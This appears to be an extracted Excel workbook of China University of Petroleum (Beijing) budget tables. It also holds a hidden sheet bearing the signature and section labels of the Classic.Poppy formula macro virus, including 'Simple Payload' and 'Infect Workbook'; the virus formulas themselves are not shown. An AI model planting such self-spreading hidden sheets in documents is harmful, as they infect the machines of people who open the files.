{"text_format":"3","workbook":"xls","n_sheets":5,"sheets":["附件1-预算收支总表","CDKOHSLJ","收入预算表","支出预算表","财政拨款支出预算表"],"not_rendered":{"external_links":32,"defined_names":165},"read":"whole","date_system":"1900","formulas":"cached_only"}

{"sheet":"附件1-预算收支总表","index":0,"n_rows":17,"n_cols":4,"rows_kept":17,"merged":[[1,0,1,3],[4,0,4,1],[4,2,4,3]],"flags":["formulas_cached_only"]}
["附件1："]
["中国石油大学（北京）收支预算总表"]
[]
[{"$nulls":3},"            单位：万元"]
["收      入",null,"支      出"]
["项目","预算数","项目","预算数"]
["一、财政拨款",{"v":55676.55,"d":"55,676.55"},"一、教育支出",{"v":158182.16,"d":"158,182.16"}]
["二、事业收入",{"v":97540,"d":"97,540.00"},"二、科学技术支出",{"v":1848,"d":"1,848.00"}]
["三、事业单位经营收入",null,"三、国土海洋气象等支出",233.94]
["四、其他收入",{"v":15423,"d":"15,423.00"},"四、住房保障支出",{"v":4061.45,"d":"4,061.45"}]
["    其中：捐赠收入",0]
[]
["本年收入合计",{"v":168639.55,"d":"168,639.55"},"本年支出合计",{"v":164325.55,"d":"164,325.55"}]
["用事业基金弥补收支差额",0,"结转下年",{"v":125000,"d":"125,000.00"}]
["上年结转",{"v":120686,"d":"120,686.00"}]
[]
["收    入    总    计",{"v":289325.55,"d":"289,325.55"},"    支    出    总    计",{"v":289325.55,"d":"289,325.55"}]

{"sheet":"CDKOHSLJ","index":1,"n_rows":26,"n_cols":3,"rows_kept":26,"hidden":true,"flags":["formulas_cached_only"]}
["2012-2-10：高校财务信息公开附件1-6.XLS"]
["Book1"]
["C:\\Program Files\\Microsoft Office\\Office10\\xlstart\\Book1.",null,"**Auto and On Sheet Starts Here**"]
[{"$error":"#N/A"}]
[]
[]
["Classic.Poppy by VicodinES"]
["With Lord Natas"]
["An Excel Formula Macro Virus (XF.Classic)"]
["Hydrocodone/APAP 10-650 For Your Computer"]
["(C) The Narkotic Network 1998"]
[]
[]
["**Simple Payload**"]
[]
[]
[null,null,"**Set Our Values and Paths**"]
[]
[]
["**Add New Workbook, Infect It, Save It As Book1.xls**"]
[]
[]
[]
[]
[]
[null,null,"**Infect Workbook**"]

{"sheet":"收入预算表","index":2,"n_rows":21,"n_cols":10,"rows_kept":21,"merged":[[1,0,1,9],[3,0,4,0],[3,1,4,1],[3,2,4,2],[3,3,4,3],[3,4,4,4],[3,5,3,6],[3,7,4,7],[3,8,4,8],[3,9,4,9]],"flags":["formulas_cached_only"]}
[]
["中国石油大学（北京）收入预算表"]
[{"$nulls":9},"单位：万元"]
["科目编码","科目名称","本年收入合计","财政拨款收入","上级补助收入","事业收入",null,"经营收入","附属单位缴款","其他收入"]
[null,null,"","","","金额","其中：教育收费","",""]
["205","教育支出",{"v":162730.09999999998,"d":"162,730.10"},{"v":51529.55,"d":"51,529.55"},0,{"v":95792,"d":"95,792.00"},{"v":30792,"d":"30,792.00"},0,{"v":1400,"d":"1,400.00"},{"v":14008.55,"d":"14,008.55"}]
["  20502","  普通教育",{"v":162730.09999999998,"d":"162,730.10"},{"v":51529.55,"d":"51,529.55"},0,{"v":95792,"d":"95,792.00"},{"v":30792,"d":"30,792.00"},0,{"v":1400,"d":"1,400.00"},{"v":14008.55,"d":"14,008.55"}]
["   2050205","    高等教育",{"v":162730.09999999998,"d":"162,730.10"},{"v":51529.55,"d":"51,529.55"},0,{"v":95792,"d":"95,792.00"},{"v":30792,"d":"30,792.00"},0,{"v":1400,"d":"1,400.00"},{"v":14008.55,"d":"14,008.55"}]
["206","科学技术支出",{"v":1848,"d":"1,848.00"},{"v":1848,"d":"1848.00"},0,0,0,0,0,0]
["  20602","  基础研究",{"v":1848,"d":"1,848.00"},{"v":1848,"d":"1848.00"},0,0,0,0,0,0]
["   2060201","  机构运行",{"v":520,"d":"520.00"},{"v":520,"d":"520.00"},0,0,0,0,0,0]
["   2060204","  重点实验室及相关设施",{"v":1328,"d":"1,328.00"},{"v":1328,"d":"1328.00"},0,0,0,0,0,0]
["220","国土海洋气象等支出",0,{"v":0,"d":"0.00"},0,0,0,0,0,0]
["  22001","  国土资源事务",0,{"v":0,"d":"0.00"},0,0,0,0,0,0]
["   2200120","    矿产资源专项收入安排的支出",0,{"v":0,"d":"0.00"},0,0,0,0,0,0]
["221","住房保障支出",{"v":4061.45,"d":"4,061.45"},{"v":2299,"d":"2299.00"},0,{"v":1748,"d":"1,748.00"},{"v":1748,"d":"1,748.00"},0,0,14.45]
["  22102","  住房改革支出",{"v":4061.45,"d":"4,061.45"},{"v":2299,"d":"2299.00"},0,{"v":1748,"d":"1,748.00"},{"v":1748,"d":"1,748.00"},0,0,14.45]
["   2210201","    住房公积金",{"v":2737,"d":"2,737.00"},{"v":1045,"d":"1045.00"},0,{"v":1692,"d":"1,692.00"},{"v":1692,"d":"1,692.00"},0,0,0]
["   2210202","    提租补贴",{"v":210,"d":"210.00"},{"v":154,"d":"154.00"},0,{"v":56,"d":"56.00"},{"v":56,"d":"56.00"},0,0,0]
["   2210203","    购房补贴",{"v":1114.45,"d":"1,114.45"},{"v":1100,"d":"1100.00"},0,0,0,0,0,14.45]
[null,"合计",{"v":168639.55,"d":"168,639.55"},{"v":55676.55,"d":"55,676.55"},0,{"v":97540,"d":"97,540.00"},{"v":32540,"d":"32,540.00"},0,{"v":1400,"d":"1,400.00"},{"v":14023,"d":"14,023.00"}]

{"sheet":"支出预算表","index":3,"n_rows":21,"n_cols":8,"rows_kept":21,"merged":[[1,0,1,7],[3,0,4,0],[3,1,4,1],[3,2,4,2],[3,3,4,3],[3,4,4,4],[3,5,4,5],[3,6,4,6],[3,7,4,7]],"flags":["formulas_cached_only"]}
[]
["中国石油大学（北京）支出预算表"]
[{"$nulls":7},"单位：万元"]
["科目编码","科目名称","合计","基本支出","项目支出","上缴上级支出","经营支出","对下级单位补助支出"]
[null,null,"",null,"","","",""]
["205","教育支出",{"v":158182.16,"d":"158,182.16"},{"v":71279.91,"d":"71,279.91"},{"v":86902.25,"d":"86,902.25"},0,0,0]
["  20502","  普通教育",{"v":158182.16,"d":"158,182.16"},{"v":71279.91,"d":"71,279.91"},{"v":86902.25,"d":"86,902.25"},0,0,0]
["   2050205","    高等教育",{"v":158182.16,"d":"158,182.16"},{"v":71279.91,"d":"71,279.91"},{"v":86902.25,"d":"86,902.25"},0,0,0]
["206","科学技术支出",{"v":1848,"d":"1,848.00"},{"v":520,"d":"520.00"},{"v":1328,"d":"1,328.00"},0,0,0]
["  20602","  基础研究",{"v":1848,"d":"1,848.00"},{"v":520,"d":"520.00"},{"v":1328,"d":"1,328.00"},0,0,0]
["   2060201","  机构运行",{"v":520,"d":"520.00"},{"v":520,"d":"520.00"},0,0,0,0]
["   2060204","  重点实验室及相关设施",{"v":1328,"d":"1,328.00"},0,{"v":1328,"d":"1,328.00"},0,0,0]
["220","国土海洋气象等支出",233.94,0,233.94,0,0,0]
["  22001","  国土资源事务",233.94,0,233.94,0,0,0]
["   2200120","    矿产资源专项收入安排的支出",233.94,0,233.94,0,0,0]
["221","住房保障支出",{"v":4061.45,"d":"4,061.45"},{"v":4061.45,"d":"4,061.45"},0,0,0,0]
["  22102","  住房改革支出",{"v":4061.45,"d":"4,061.45"},{"v":4061.45,"d":"4,061.45"},0,0,0,0]
["   2210201","    住房公积金",{"v":2737,"d":"2,737.00"},{"v":2737,"d":"2,737.00"},0,0,0,0]
["   2210202","    提租补贴",{"v":210,"d":"210.00"},{"v":210,"d":"210.00"},0,0,0,0]
["   2210203","    购房补贴",{"v":1114.45,"d":"1,114.45"},{"v":1114.45,"d":"1,114.45"},0,0,0,0]
[null,"合计",{"v":164325.55000000002,"d":"164,325.55"},{"v":75861.36,"d":"75,861.36"},{"v":88464.19,"d":"88,464.19"},0,0,0]

{"sheet":"财政拨款支出预算表","index":4,"n_rows":20,"n_cols":6,"rows_kept":20,"merged":[[1,0,1,5]],"flags":["formulas_cached_only"]}
[]
["中国石油大学（北京）财政拨款支出预算表"]
[{"$nulls":5},"单位：万元"]
["科目编码","科目名称","合  计","基本支出","项目支出","备注"]
["205","教育支出",{"v":51529.55,"d":"51,529.55"},{"v":31163.36,"d":"31,163.36"},{"v":20366.19,"d":"20,366.19"}]
["  20502","  普通教育",{"v":51529.55,"d":"51,529.55"},{"v":31163.36,"d":"31,163.36"},{"v":20366.19,"d":"20,366.19"}]
["   2050205","    高等教育",{"v":51529.55,"d":"51,529.55"},{"v":31163.36,"d":"31,163.36"},{"v":20366.19,"d":"20,366.19"}]
["206","科学技术支出",{"v":1848,"d":"1,848.00"},{"v":520,"d":"520.00"},{"v":1328,"d":"1,328.00"}]
["  20602","  基础研究",{"v":1848,"d":"1,848.00"},{"v":520,"d":"520.00"},{"v":1328,"d":"1,328.00"}]
["   2060201","  机构运行",{"v":520,"d":"520.00"},{"v":520,"d":"520.00"},0]
["   2060204","  重点实验室及相关设施",{"v":1328,"d":"1,328.00"},0,{"v":1328,"d":"1,328.00"}]
["220","国土海洋气象等支出",0,0,0]
["  22001","  国土资源事务",0,0,0]
["   2200120","    矿产资源专项收入安排的支出",0,0,0]
["221","住房保障支出",{"v":2299,"d":"2,299.00"},{"v":2299,"d":"2,299.00"},0]
["  22102","  住房改革支出",{"v":2299,"d":"2,299.00"},{"v":2299,"d":"2,299.00"},0]
["   2210201","    住房公积金",{"v":1045,"d":"1,045.00"},{"v":1045,"d":"1,045.00"},0]
["   2210202","    提租补贴",{"v":154,"d":"154.00"},{"v":154,"d":"154.00"},0]
["   2210203","    购房补贴",{"v":1100,"d":"1,100.00"},{"v":1100,"d":"1,100.00"},0]
[null,"合计",{"v":55676.55,"d":"55,676.55"},{"v":33982.36,"d":"33,982.36"},{"v":21694.19,"d":"21,694.19"}]